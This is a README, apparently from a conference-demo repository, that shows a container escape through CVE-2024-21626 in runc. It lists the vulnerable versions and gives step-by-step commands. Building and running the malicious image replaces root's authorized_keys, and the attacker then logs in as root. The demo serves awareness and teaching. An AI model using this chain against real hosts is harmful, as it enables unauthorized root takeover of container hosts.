CVE-2024-21626-demo

Demo para la lightning talk del Container Runtime Meetup #5.

Conforme a la información pública, su propósito es divulgar el peligro del ataque; queda estrictamente prohibido su uso malintencionado.

スライド

Container Runtime Meetup #5 〜¿De verdad puedes confiar en esa imagen?〜 Tomando el root del host con CVE-2024-21626

Inicio de sesión en victim-server

Máquina registrada como victim-server en el ssh_config del portátil de demostración.

ssh victim-server

Información de versiones que son requisito previo para verse afectado:

ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3

ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4

Inicio de sesión en attacker-server

Igualmente

ssh attacker-server

Escenario

1. [victim-server] Descarga, compilación y ejecución accidental de una imagen Docker maliciosa

ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage

2. [victim-server] /root/.ssh/authorized_keys ha sido reemplazado sin que te des cuenta por la clave pública del atacante

No se hace nada aquí porque no era intencionado, pero se muestra el comando para verificar la situación.

ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server

3. [attacker-server] Inicio de sesión como root en victim-server

attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server

root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)

Referencias

• https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
• https://github.com/NitroCao/CVE-2024-21626